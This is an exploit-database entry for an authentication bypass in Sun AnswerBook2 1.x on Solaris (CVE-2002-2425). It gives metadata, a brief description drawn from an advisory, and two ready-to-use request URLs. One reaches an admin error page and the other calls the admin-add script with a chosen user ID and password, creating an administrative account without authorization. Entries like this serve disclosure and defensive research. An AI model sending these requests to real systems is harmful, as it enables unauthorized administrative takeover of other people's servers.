Sun AnswerBook2 1.x - Unauthorized Administrative Script Access

Author: ghandi
type: remote
platform: solaris
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date_added: 2002-08-02 
date_updated: 2012-10-02 
verified: 1 
codes: CVE-2002-2425;OSVDB-43122 
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source: https://www.securityfocus.com/bid/5383/info

Sun Microsystems AnswerBook2 allows users to view Sun documentation through a web browser, and is available for Solaris.

AnswerBook2 includes an administrative web interface. Reportedly, it is possible to access these scripts without authorization, and add a new administrative user of the AnswerBook2 system.

http://localhost:8888/ab2/@AdminViewError

http://localhost:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar